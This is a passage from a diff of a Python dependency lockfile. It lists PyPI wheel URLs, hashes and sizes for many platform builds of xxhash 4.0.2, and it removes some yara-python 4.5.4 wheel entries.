"https://files.pythonhosted.org/packages/d4/df/58b65a0a654bfa4da9a19168338fc89e30337f60ccb7b7d695fc2ebf7e67/xxhash-4.0.2-cp315-cp315-android_24_arm64_v8a.whl", hash = "sha256:bdee724c52954f6d3a551adc30eac1555a6ab1444dd3e02bffcc51832cbcd5da", size = 43729, upload-time = "2026-10-19T06:00:18.211Z" }, + { url = "https://files.pythonhosted.org/packages/07/aa/d25b1a9f4f7dcd2330651a2253f6bc8aee5efdedd4839349bb734dcc2156/xxhash-4.0.2-cp315-cp315-android_24_x86_64.whl", hash = "sha256:79d832049ab43b88846a13161351887892f3d8cb0bcd3e7c91b3f125caada384", size = 40737, upload-time = "2026-10-19T05:58:55.45Z" }, + { url = "https://files.pythonhosted.org/packages/db/77/bac055f63b9be647f28d81ec040db14ee448ebac4c3eb2066b4170b68ea9/xxhash-4.0.2-cp315-cp315-ios_13_0_arm64_iphoneos.whl", hash = "sha256:fb3dce09d52103f29a4648649df1ab217e28ccc2e9a9c08e8daab472e5cda9c9", size = 34768, upload-time = "2026-10-19T05:59:40.791Z" }, + { url = "https://files.pythonhosted.org/packages/d9/a3/eab44082caa9fc734eac6777a705b659c8de634c2a08da51765e48ccb639/xxhash-4.0.2-cp315-cp315-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:58d8fc67453d337a8cbeed4f5543493c3792cb5f3839c17bc08ecf307592466f", size = 35722, upload-time = "2026-10-19T05:58:32.75Z" }, + { url = "https://files.pythonhosted.org/packages/9a/0c/fd2f4090ee2466e9af1f5dd34b298f3d97463fbb537de066beb47ce961aa/xxhash-4.0.2-cp315-cp315-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:4a5955614bf744ac52faaf535ff94df3e935ec057c6242a3d8aa4e1007efa0f0", size = 38079, upload-time = "2026-10-19T06:01:39.191Z" }, + { url = "https://files.pythonhosted.org/packages/73/77/dba9d1377dbab3c37f7302dccaf874fb7dcda0850ac6ca409aa95df39556/xxhash-4.0.2-cp315-cp315-macosx_10_15_x86_64.whl", hash = "sha256:eff48c792788e33ace8e8e3ef6a0db45741d6acdc35c9b89dc914469fa040536", size = 38228, upload-time = "2026-10-19T05:59:39.965Z" }, + { url = "https://files.pythonhosted.org/packages/5b/1a/d38f9b0876959b5dbb3940efd404ff7ff37297b9a494a4152f022292672d/xxhash-4.0.2-cp315-cp315-macosx_11_0_arm64.whl", hash = "sha256:b881b67c01929df867d30fed94d4221205639072a63049818732c1bae54e74f0", size = 35966, upload-time = "2026-10-19T05:58:33.361Z" }, + { url = "https://files.pythonhosted.org/packages/f6/3c/f65cd98552eb469de81b74db65ad848a94f5259b915ead99ab84080b139d/xxhash-4.0.2-cp315-cp315-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:7016f753d9c79d2ed53a1517b3eb1bd475f05d026fa3fbc3acec393d14ddd396", size = 264586, upload-time = "2026-10-19T06:00:19.361Z" }, + { url = "https://files.pythonhosted.org/packages/83/84/324228db6b7b0ddeb527f0936d2aeb72664e0a6ce4129abdfb0e78444460/xxhash-4.0.2-cp315-cp315-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f5a509325aea8802d2ab710a5f2fb7c4d7b1a6c90f9a148dbc9f84311a1aa15e", size = 285892, upload-time = "2026-10-19T05:58:57.311Z" }, + { url = "https://files.pythonhosted.org/packages/2d/e4/52f06d36a699084c6743b18fdad46429a657aad83479a88f9a639041fdd7/xxhash-4.0.2-cp315-cp315-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:7c1087b8dc4a08709e1ce358a79671f9aa4d029211aff537d0f821e4a6483305", size = 306548, upload-time = "2026-10-19T05:59:42.377Z" }, + { url = "https://files.pythonhosted.org/packages/73/50/1945f2a0e39a80ac84ab40bb9fde7b83b4039077478119b504ac162d160c/xxhash-4.0.2-cp315-cp315-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:531a1056fdfae837ef56c81e62bb4a0ce3274b813a3164bb558151d913684cce", size = 287958, upload-time = "2026-10-19T05:58:34.589Z" }, + { url = "https://files.pythonhosted.org/packages/d2/f2/8df0a257de50f8550d047b6c03b7df336147f33163dc1c5455ab5c325b44/xxhash-4.0.2-cp315-cp315-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:fe3ae82b1c7d031da7bb300188fe31018fbc05e1e496e0edb7c930d6ecf88d1a", size = 520071, upload-time = "2026-10-19T06:01:40.79Z" }, + { url = "https://files.pythonhosted.org/packages/0a/26/8a5349232374825f418141292a3edda80ac7c5d818126eee5c594fffdb97/xxhash-4.0.2-cp315-cp315-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5fb7bfdd0d1136fb73e4efa9a1eaff71a72f45ff7409647f601bf714d7838922", size = 268246, upload-time = "2026-10-19T05:59:41.356Z" }, + { url = "https://files.pythonhosted.org/packages/d0/1f/3248f97b75c221d352bd37d70d5f96384f4cfa9ee375a7ed7956f7d1657f/xxhash-4.0.2-cp315-cp315-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:9a1f6598dc8f7ccdc9bd5ac51264c71431185194e8c88042502a04c1f53b5780", size = 350146, upload-time = "2026-10-19T05:58:35.269Z" }, + { url = "https://files.pythonhosted.org/packages/a7/65/682ffa31455530fb402947eb8956406378dc853185348750c7cd1a1724a7/xxhash-4.0.2-cp315-cp315-musllinux_1_2_aarch64.whl", hash = "sha256:329bf14bab110bf111aa7211c613a94e97e4554407d2cc964c01338278cd4213", size = 281953, upload-time = "2026-10-19T06:00:20.692Z" }, + { url = "https://files.pythonhosted.org/packages/66/cb/57c69db6dd0b9959b9ed28a2c73a659f5c621987ab153a824ae76f331d52/xxhash-4.0.2-cp315-cp315-musllinux_1_2_armv7l.whl", hash = "sha256:fbf323d9c22c6ac25cd8c4633566393282fa22db583ef0320f82bded10d7cc2e", size = 307854, upload-time = "2026-10-19T05:58:59.316Z" }, + { url = "https://files.pythonhosted.org/packages/ba/63/755416cb522db17097e32f4d6871a358ba977bba77849efede09bd30a230/xxhash-4.0.2-cp315-cp315-musllinux_1_2_i686.whl", hash = "sha256:1ba7e798c28e327b221270af073f7319c771daaf5974d18856c0ed3d0fa1c6de", size = 268216, upload-time = "2026-10-19T05:59:44.779Z" }, + { url = "https://files.pythonhosted.org/packages/27/77/d10ddc5642addbdd11c7e7ee4f02d2876d00b437bfba8e49cc2eff96e4f7/xxhash-4.0.2-cp315-cp315-musllinux_1_2_ppc64le.whl", hash = "sha256:b9bff92881cfd1d4f98f27e1275f125f90ddf324571ac9a3e35d1dfcf6f42d19", size = 284949, upload-time = "2026-10-19T05:58:36.835Z" }, + { url = "https://files.pythonhosted.org/packages/27/70/dcbd582e7f6bdac6673a93ad7eff2309ad2a06d2f5f92922389a90d8a708/xxhash-4.0.2-cp315-cp315-musllinux_1_2_riscv64.whl", hash = "sha256:bb99a2c5c35cad78284e057f8207856c911ac088ff89d0807dccf07b65775895", size = 338056, upload-time = "2026-10-19T06:01:42.241Z" }, + { url = "https://files.pythonhosted.org/packages/55/28/3ab7cb9ec21f590cf56200facc8850260dfb96d5099919df7f93d4613983/xxhash-4.0.2-cp315-cp315-musllinux_1_2_s390x.whl", hash = "sha256:730fba89df435ac081bc2ae28e4fa0ca5009a9eb5f4947b648abc27acd96e7b3", size = 487603, upload-time = "2026-10-19T05:59:43.003Z" }, + { url = "https://files.pythonhosted.org/packages/c2/d1/f48e74dbb0ca9d40565965845a5a6384216e238b7aa016f8a67dfe929e32/xxhash-4.0.2-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:2ca60825069a19e381f4ed03d0e036907b2b98460d33d4f8d1a93cf2d7e37c7b", size = 263834, upload-time = "2026-10-19T05:58:37.629Z" }, + { url = "https://files.pythonhosted.org/packages/cf/72/cddec8f3243d53d2387e9529a9556e8fe820b411f87c791852ca2056c128/xxhash-4.0.2-cp315-cp315-pyemscripten_2026_5_wasm32.whl", hash = "sha256:89d02277a7d5ce8b3fe21182ce4e32cca54963768c4b9609ce29e1ac82922acf", size = 20549, upload-time = "2026-10-19T06:00:21.926Z" }, + { url = "https://files.pythonhosted.org/packages/26/6f/50f89c9174c2b5fae56a6ec1b81f1d8065ced4792974f9575daf5ef2629b/xxhash-4.0.2-cp315-cp315-win32.whl", hash = "sha256:b4c405512c813a47cf70e47c9886b07702a38e991756216b65ac19f9cbb4f8f8", size = 35136, upload-time = "2026-10-19T05:59:01.461Z" }, + { url = "https://files.pythonhosted.org/packages/77/a4/06a47cf94314277d27f2468888ab93d1b82e8334ad69281775d8b21a3944/xxhash-4.0.2-cp315-cp315-win_amd64.whl", hash = "sha256:30ffd0deaf0e9ea112c38656922323ae23dbaa90878cebdb243f646d121e52db", size = 37154, upload-time = "2026-10-19T05:59:47.022Z" }, + { url = "https://files.pythonhosted.org/packages/dd/ec/9450480bef24ecb6dae89f69456b2d891c59cccf86a4756b2cbe70fdd4ad/xxhash-4.0.2-cp315-cp315-win_arm64.whl", hash = "sha256:6010eab32dd57dcb8070b81a5d459c422d09de3ffd1bf6f11f0ee381582fe5a5", size = 34365, upload-time = "2026-10-19T05:58:39.414Z" }, + { url = "https://files.pythonhosted.org/packages/d5/6a/89f7d7b924e82b852815b04175923d7a2a83b7b993484003b5c9a09b8468/xxhash-4.0.2-cp315-cp315t-macosx_10_15_x86_64.whl", hash = "sha256:fdc8799f1a4835b40c615cbc9ce73c8a42f51c3218726d285367dcf853f36128", size = 38589, upload-time = "2026-10-19T06:01:43.576Z" }, + { url = "https://files.pythonhosted.org/packages/28/c8/35487956f53073b94621cf0a3e157baaf4d9ed79a4b37aae73f26e8ef617/xxhash-4.0.2-cp315-cp315t-macosx_11_0_arm64.whl", hash = "sha256:aa60df2de8dc4f59ae4faddd77237514ff88d15c2afd6d501e21dbe82a4711db", size = 36357, upload-time = "2026-10-19T05:59:45.367Z" }, + { url = "https://files.pythonhosted.org/packages/9b/64/30e6b89adc1b37b0c40885d73682ec5f0a939ded3628f53e6b81e735daa1/xxhash-4.0.2-cp315-cp315t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:2cf332a7b823e867cc0d8e4c69eb5c82ae96ed827677fe4d96f990a6a1fd86b8", size = 273536, upload-time = "2026-10-19T05:58:40.318Z" }, + { url = "https://files.pythonhosted.org/packages/9e/ce/9dd64e3c06ef7116b3a10ee78fb56276f4382191b008772bd3ceaca80c0f/xxhash-4.0.2-cp315-cp315t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5846aa6fe15c5b1cda6738ef9b1ba3cf49028b729507ce44a1e9fc2642586b06", size = 299112, upload-time = "2026-10-19T06:00:23.08Z" }, + { url = "https://files.pythonhosted.org/packages/6c/e2/e58e25d55f5d3d4786b50b537078c1eb57a2efe8aa079bbc55d7f785d196/xxhash-4.0.2-cp315-cp315t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:07abbc84c3b22064294e8d7f8e8d71a3c0dd3ae9aca8dfda55ad1977d3a7af61", size = 314503, upload-time = "2026-10-19T05:59:03.402Z" }, + { url = "https://files.pythonhosted.org/packages/7c/a6/1d8948e5ebbd7d408b7e06edb0ae4f4fcbb9ac61fcb558bc49d28231a989/xxhash-4.0.2-cp315-cp315t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:0c9ce49f326c85958df18789486d4c28812b52890e74d833b121735200d04bce", size = 299177, upload-time = "2026-10-19T05:59:49.215Z" }, + { url = "https://files.pythonhosted.org/packages/d3/a0/2b3b1c252264965ed7878d927547bf9969d553d75b92a272fba91d268cac/xxhash-4.0.2-cp315-cp315t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:da1a626793a5fde9c97466d443ae7c62f3d9bdc8658fd8363f435852952996d3", size = 531942, upload-time = "2026-10-19T05:58:41.625Z" }, + { url = "https://files.pythonhosted.org/packages/20/18/7163affae311b049315549e3b894983289091dc62c9f72959607b5748bb1/xxhash-4.0.2-cp315-cp315t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:250048412cb196e1f705134dadbc415eca399e74d2678b935660be0b2e4fc380", size = 278740, upload-time = "2026-10-19T06:01:44.69Z" }, + { url = "https://files.pythonhosted.org/packages/42/48/0f318837dff3b56ed434ae0939da047c280805092b07d993750175f3ba74/xxhash-4.0.2-cp315-cp315t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:b5fbcdf157caa642de731565310bae6a5c3b1e15f28507feb3eddf04bd4a56a9", size = 359859, upload-time = "2026-10-19T05:59:47.605Z" }, + { url = "https://files.pythonhosted.org/packages/99/2f/78c271392a474b5d24f3148ba111a74e36e91718c782a455b847453279af/xxhash-4.0.2-cp315-cp315t-musllinux_1_2_aarch64.whl", hash = "sha256:4d86d5aaae8312de06d25b91fbc901b891b3b5ce2f5c8359b340b4bcc3d01b8f", size = 293523, upload-time = "2026-10-19T05:58:42.495Z" }, + { url = "https://files.pythonhosted.org/packages/11/16/839eacbb24390476e95a03f6738b30a745a6b79c117e6d02c7e3367e7907/xxhash-4.0.2-cp315-cp315t-musllinux_1_2_armv7l.whl", hash = "sha256:2bc6cfaa4a39bfca4c31878ad769986d2d039673eaf527068f668e88ff65ab99", size = 318759, upload-time = "2026-10-19T06:00:24.336Z" }, + { url = "https://files.pythonhosted.org/packages/a3/ba/c7750692cb427911d3aad8447ff715b9721bcc8ae1de344a9153c7982d6b/xxhash-4.0.2-cp315-cp315t-musllinux_1_2_i686.whl", hash = "sha256:d695979588da837a36d5195d10812c4118515d33e4f41a9b4d0cd92bf7c2f716", size = 277562, upload-time = "2026-10-19T05:59:06.611Z" }, + { url = "https://files.pythonhosted.org/packages/29/65/70fefbf75329b5afb33b2bbf8035ca24eeba52f0f836e1b3d21aae153ac7/xxhash-4.0.2-cp315-cp315t-musllinux_1_2_ppc64le.whl", hash = "sha256:00329536c281e13725283421dcdf4633f5710123e06a608b910d6a6f3bc891cf", size = 295093, upload-time = "2026-10-19T05:59:51.738Z" }, + { url = "https://files.pythonhosted.org/packages/09/3a/fbe36c6fa093c481cdc8299ba63f57c786b01a2bfbc3f2fe3d5caab56731/xxhash-4.0.2-cp315-cp315t-musllinux_1_2_riscv64.whl", hash = "sha256:8113a8cb51a5121b8017f275e9aff2cb9203d57e614c989f943f81937442896b", size = 347048, upload-time = "2026-10-19T05:58:44.217Z" }, + { url = "https://files.pythonhosted.org/packages/45/7f/587b3d99d5948889ecaa01a9d99cc7208ab150dead683f60345a28a48ef1/xxhash-4.0.2-cp315-cp315t-musllinux_1_2_s390x.whl", hash = "sha256:438fdfda0fb1198b7e9a5b4da6b073f36cec5dd7129dd486bbe72c8ecd623adf", size = 497187, upload-time = "2026-10-19T06:01:46.21Z" }, + { url = "https://files.pythonhosted.org/packages/2b/87/738a71217aad9138fada7d16fc69b03325a202aebc95bb0b257d86ed9682/xxhash-4.0.2-cp315-cp315t-musllinux_1_2_x86_64.whl", hash = "sha256:2f164b788017a4a766884aa9acb3490bbc5f03a79adc7d02894393df44675c1e", size = 274316, upload-time = "2026-10-19T05:59:49.967Z" }, + { url = "https://files.pythonhosted.org/packages/6c/c9/4c59e7436d2d4ce0a84e58cf03cbf6fac603052d1135ed67f125d26f0562/xxhash-4.0.2-cp315-cp315t-win32.whl", hash = "sha256:3d7f484b338ddf6a8e58ffb73c4f9d13ea157f01152fdfdf9c44c9a59666f3ac", size = 35462, upload-time = "2026-10-19T05:58:44.88Z" }, + { url = "https://files.pythonhosted.org/packages/6b/17/78057741b329c90877b242fafffcfbb0fb4d719b7ce706fd401ee033ae73/xxhash-4.0.2-cp315-cp315t-win_amd64.whl", hash = "sha256:33f89d2a64716d7108f49b38d92ebe5344d3c50440f15f48f0f65cbcf4ffb781", size = 37478, upload-time = "2026-10-19T06:00:25.786Z" }, + { url = "https://files.pythonhosted.org/packages/6b/07/c785f081244dbac609607f1f7ab883db45b26cd291d937d9bd8b67326db0/xxhash-4.0.2-cp315-cp315t-win_arm64.whl", hash = "sha256:26f8343b7a5d65f704029a0ebeb7e98a47149cf76dcab0072f0874307181bfb5", size = 34617, upload-time = "2026-10-19T05:59:09.137Z" }, + { url = "https://files.pythonhosted.org/packages/4e/ab/f5e56048d06c1a42834978a4c17a004a202b092e2f72a632e68868fb9f52/xxhash-4.0.2-graalpy312-graalpy250_312_native-macosx_10_13_x86_64.whl", hash = "sha256:fe5a0d96cb339d383d3f720ffe94d8a7a51ccc8abf4d348a3ee058b5625f948e", size = 31816, upload-time = "2026-10-19T06:00:30.318Z" }, + { url = "https://files.pythonhosted.org/packages/17/b1/2351ddc0b45f983f5ea1d8b91024c932ce939a271b08d7f3bc8a54b3a81b/xxhash-4.0.2-graalpy312-graalpy250_312_native-macosx_11_0_arm64.whl", hash = "sha256:86fdc2ae36f5d11446896c4456883b3740be2ec3ff56f700a7dc7aeb635e236f", size = 34431, upload-time = "2026-10-19T05:59:16.424Z" }, + { url = "https://files.pythonhosted.org/packages/7d/9f/dc3d43fa9ae82435a5fae9647925e40ca2e6198f279a044f6119542cbf33/xxhash-4.0.2-graalpy312-graalpy250_312_native-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:792e7c12ac0d300908a99f644e583f4091c3a5a0035ab7b1b76aadc908480381", size = 38470, upload-time = "2026-10-19T06:00:01.225Z" }, + { url = "https://files.pythonhosted.org/packages/8b/52/45d2a2ac310da915e1ef06cc3a823d904d49c7049fdd830c46b8f5c038bc/xxhash-4.0.2-graalpy312-graalpy250_312_native-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e359ff2f38be3c856a129c1c5c4cbd70e219188456c1bf266fd4f94e2baae278", size = 38187, upload-time = "2026-10-19T05:58:54.013Z" }, + { url = "https://files.pythonhosted.org/packages/84/77/a8779629eac4fd450dfd0f5a507941419dddb1a2b088288b790c497102bf/xxhash-4.0.2-graalpy312-graalpy250_312_native-win_amd64.whl", hash = "sha256:6e736b549811153e3b54779708725c68e105a6e6860f9f30fcba896a5f28ef0c", size = 37109, upload-time = "2026-10-19T06:01:51.414Z" }, + { url = "https://files.pythonhosted.org/packages/fa/08/7273d1afe165f2035a6d9c3006d5f752df380e238f872d974c856ddc1c0c/xxhash-4.0.2-graalpy313-graalpy253_313_native-macosx_11_0_arm64.whl", hash = "sha256:ce0fd7c57fa4fe9e0a9c390a04e1668c09fc09253e8fd76f1785069508686059", size = 33915, upload-time = "2026-10-19T05:59:59.311Z" }, + { url = "https://files.pythonhosted.org/packages/95/0a/613ed5b8ded6fc2d42f54cf79f4318df1fec7d8fb0d3a9c189337220ad50/xxhash-4.0.2-graalpy313-graalpy253_313_native-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c45f489790caf482840d2c108d50b8b0d9e77f2f6d17e2b345e2ae3dc48849ff", size = 38377, upload-time = "2026-10-19T05:58:54.679Z" }, + { url = "https://files.pythonhosted.org/packages/b7/4f/2325ba05fc5470dcc0c69e8621d82fe4474271448ba9d0f7599ab492a1ad/xxhash-4.0.2-graalpy313-graalpy253_313_native-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:87255720aa1a1be35256b688c5ee4151d3273894186cda5c8a5b82f1dc05debf", size = 37784, upload-time = "2026-10-19T06:00:31.759Z" }, + { url = "https://files.pythonhosted.org/packages/db/c6/2ca65d85a105f200e60a812fb53f70a4e4a40c2263763397a367186e6c07/xxhash-4.0.2-graalpy313-graalpy253_313_native-win_amd64.whl", hash = "sha256:2a99c2d36df2d9b238a27e1fd8547311dba51c997e4c7681a383a98c0831aee0", size = 36832, upload-time = "2026-10-19T05:59:18.738Z" }, + { url = "https://files.pythonhosted.org/packages/9a/e6/f287c5a23fca3d9d67b4dbce2f95d6bb3b71324a33562ad89b78dc44f732/xxhash-4.0.2-pp311-pypy311_pp80-macosx_10_15_x86_64.whl", hash = "sha256:fe765b3c7e7fcd14ef9b77836295847cb73229cdbe7eced958ed013d2f1c4025", size = 36314, upload-time = "2026-10-19T05:59:21.327Z" }, + { url = "https://files.pythonhosted.org/packages/a5/af/a59b29a52c89c33a3eaa422d8bab34efb54be29c16d6ed00d9f4c05bd076/xxhash-4.0.2-pp311-pypy311_pp80-macosx_11_0_arm64.whl", hash = "sha256:eff2109cbac3a8b04000d1b687331ff538d9d72d266c5aede545fd6bf90d303d", size = 33498, upload-time = "2026-10-19T06:00:05.326Z" }, + { url = "https://files.pythonhosted.org/packages/0b/c7/d45fd7535e653f9049c0bb298cdf64c1a3686c91db0e4e9be215fb9dddb5/xxhash-4.0.2-pp311-pypy311_pp80-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:ba2daf714d2c87374cfdab5ff22736b19cc12a200130b64610feb3b0b08bbe11", size = 47978, upload-time = "2026-10-19T05:58:57.911Z" }, + { url = "https://files.pythonhosted.org/packages/98/e1/0ef240bea04b7812054e672af744f782bb3ccbdf16507fdaba9337959937/xxhash-4.0.2-pp311-pypy311_pp80-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e2b98f3de3e6ec78333c6d4db6b8d40634ce6dc05140815a195916385f912176", size = 42706, upload-time = "2026-10-19T06:01:53.886Z" }, + { url = "https://files.pythonhosted.org/packages/6d/ed/f002761b873c372de3505d909cbd92b44d0e0e8fb68c04737c4cc9a2c1c1/xxhash-4.0.2-pp311-pypy311_pp80-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:180b349bbc89af61240adab8519426e0cb6546c2487e4b26b464364bf59dcbed", size = 39511, upload-time = "2026-10-19T06:00:03.78Z" }, + { url = "https://files.pythonhosted.org/packages/1d/1c/b9962ed46a2b08dde44425b115f83eac204fcaba97f76961bf093d9bf99a/xxhash-4.0.2-pp311-pypy311_pp80-win_amd64.whl", hash = "sha256:03b1e97d14fd1b185c75808f72dfc7d9ea5866df3f8661566f2a23d0d07dcf7e", size = 84328, upload-time = "2026-10-19T05:58:58.596Z" }, + { url = "https://files.pythonhosted.org/packages/2c/80/6608694dd7817963db9d9c611143d94888c3e7420d8901c962acd7fdfc1c/xxhash-4.0.2-pp312-pypy312_pp80-macosx_10_15_x86_64.whl", hash = "sha256:c9f3129e086297db6b24b83db59a0dbfdd8f325ffc7dcc184fc573473b13293f", size = 36460, upload-time = "2026-10-19T06:00:34.489Z" }, + { url = "https://files.pythonhosted.org/packages/a3/d7/a1acbd775c01f720bbe6368af480e26e3b40525a7eaf17810c0ce5e9e13f/xxhash-4.0.2-pp312-pypy312_pp80-macosx_11_0_arm64.whl", hash = "sha256:2acdb1cabc41140e97d4adba7422dbeb7fabef9caace27d56f8de662d505fdfa", size = 33690, upload-time = "2026-10-19T05:59:23.349Z" }, + { url = "https://files.pythonhosted.org/packages/9b/13/15190b981f474117adefe78cd30acceb24e6f83352069402d3d9c24cd53b/xxhash-4.0.2-pp312-pypy312_pp80-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:2076eee9f06fcb611754f98b9c272046e4a8a3fcfde353575dd8e6e2f33e80ed", size = 47950, upload-time = "2026-10-19T06:00:07.951Z" }, + { url = "https://files.pythonhosted.org/packages/b9/ff/28666972b4a78dca99a537cbd42abe50dfdeca4d6388984c841cfe1f933f/xxhash-4.0.2-pp312-pypy312_pp80-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7b244e3e1d6eadb5061ce777632a822ed75c2fb6174c65882f5829f31b46e8c1", size = 42584, upload-time = "2026-10-19T05:59:00.064Z" }, + { url = "https://files.pythonhosted.org/packages/0a/30/0b46bb908376d75733ca70cd4124f74abeea0f50732749dafa848f42f385/xxhash-4.0.2-pp312-pypy312_pp80-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:63522739ce94e4e73c1605aa60a52b3863e77e835f6292cc8a5e7e7b626ff00c", size = 39472, upload-time = "2026-10-19T06:01:55.015Z" }, + { url = "https://files.pythonhosted.org/packages/4c/23/6c0aa47774513c1237f7ea198daf36f2d2609f1e233249a9ea97d5b55c38/xxhash-4.0.2-pp312-pypy312_pp80-win_amd64.whl", hash = "sha256:0b96b2694c97084c5e2bff8a6a3dc3c2fb3b9a07178286e8d69869efe76eeb50", size = 84214, upload-time = "2026-10-19T06:00:06.386Z" }, ] [[package]] @@ -3627,18 +3237,6 @@ version = "4.5.4" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/51/38/347d1fcde4edabd338d5872ca5759ccfb95ff1cf5207dafded981fd08c4f/yara_python-4.5.4.tar.gz", hash = "sha256:4c682170f3d5cb3a73aa1bd0dc9ab1c0957437b937b7a83ff6d7ffd366415b9c", size = 551142, upload-time = "2025-05-27T14:15:49.035Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/51/7f/5767870ecdde75b7991f67caa5d78d692d30239529b66262a33bb6ab12e3/yara_python-4.5.4-cp310-cp310-macosx_14_0_arm64.whl", hash = "sha256:721d341bd2013fbada4df5aba0eb79a9e4e21c4b86441f7f111ab8c31671f125", size = 2471734, upload-time = "2025-05-27T14:14:03.034Z" }, - { url = "https://files.pythonhosted.org/packages/13/01/c7253b9cbeb9058deff46e332d98d8a76ecdc07235a41f1a3050348b035e/yara_python-4.5.4-cp310-cp310-macosx_14_0_x86_64.whl", hash = "sha256:c785fd16475f2a3191cd4fae0cd608b1ba6271f495ec86fa26a3c5ac53f5f2e1", size = 208858, upload-time = "2025-05-27T14:14:04.728Z" }, - { url = "https://files.pythonhosted.org/packages/02/09/cbe63e02a7b2448cd84b78918c1d765ce17038f1e7f0a6ae25e942bdca22/yara_python-4.5.4-cp310-cp310-macosx_15_0_arm64.whl", hash = "sha256:5eefa3b157cd5f4454a317907bab334036f61385324b70cb61dbc656c44168d5", size = 2478392, upload-time = "2025-05-27T14:14:06.404Z" }, - { url = "https://files.pythonhosted.org/packages/01/02/c5f2953a7dfd3055fd67581fe740c46c7b678d3760faced24674080019c8/yara_python-4.5.4-cp310-cp310-macosx_15_0_x86_64.whl", hash = "sha256:bbc0c5a2ee67e6043e4c2622093ebfc7d2c173dc643dd089742aedbdea48d6a4", size = 209306, upload-time = "2025-05-27T14:14:07.876Z" }, - { url = "https://files.pythonhosted.org/packages/be/70/a7bd03cbf1ac7e9fcfe292b3dfad181d7fb7eabf6d0ee493f7c5b2386238/yara_python-4.5.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1b091f1bd6c5d2a9b5c0c682ba67ba31b87bb71b27876430775998b71c8e3f97", size = 2240111, upload-time = "2025-05-27T14:14:09.246Z" }, - { url = "https://files.pythonhosted.org/packages/0a/3d/0b0eadc8b39aa61cc04337d60b15fdebccaf662877a30604baadf760a4f5/yara_python-4.5.4-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:91276c90bb5e148e10050015fec8a1d4009a95eee9eb832d154f80355d0b4080", size = 2323286, upload-time = "2025-05-27T14:14:10.688Z" }, - { url = "https://files.pythonhosted.org/packages/c4/30/aab92c73b02bdda575f9507108c9617708f8d6812647a0654bc44447fc20/yara_python-4.5.4-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7e20e1f69b6239fe4f4da97e9ff361d9be25d6f1d747589ea44b8a9ec412a12d", size = 2327981, upload-time = "2025-05-27T14:14:13.044Z" }, - { url = "https://files.pythonhosted.org/packages/7a/40/461d76a5ec526679e58efca35383d3511cade8c8fc8868ad9f97bea21a1a/yara_python-4.5.4-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:a83773b561727fc360f7a6874f7fac1409bc9c391134dc3e070f1c2515c0db98", size = 2946194, upload-time = "2025-05-27T14:14:14.717Z" }, - { url = "https://files.pythonhosted.org/packages/33/d2/656319472612d821d224ef2a79dc5b8339332aa03e4586e5fd9ec0c45f4e/yara_python-4.5.4-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:14f203bd9fb33ad591e046429560133127fa4a6201dac28c525fa7c6c7ca36a7", size = 2416600, upload-time = "2025-05-27T14:14:16.269Z" }, - { url = "https://files.pythonhosted.org/packages/5e/76/5ec476aa39e81d4dd5e26071f6b2c763c4a7d7f628dff3370fe6053ba9ac/yara_python-4.5.4-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:e632daf9f38f8d4b433f08f798b07a45756e6c396e9e0ec54aac10045f6d241d", size = 2636555, upload-time = "2025-05-27T14:14:18.082Z" }, - { url = "https://files.pythonhosted.org/packages/f1/b5/26cdb3d13b91625dc35a68aca2db8cb62d6c6d5e7b83d97981b350163dd3/yara_python-4.5.4-cp310-cp310-win32.whl", hash = "sha256:a3866830f7f2d071f94cbce7c41d91444ac29e2cbbe279914abf518d57a2d41f", size = 1447301, upload-time = "2025-05-27T14:14:19.635Z" }, - { url = "https://files.pythonhosted.org/packages/be/21/68f211559de12eac0cb0fd8dbda279cadb0cc681cc4dc6394f9e06dfd4e2/yara_python-4.5.4-cp310-cp310-win_amd64.whl", hash = 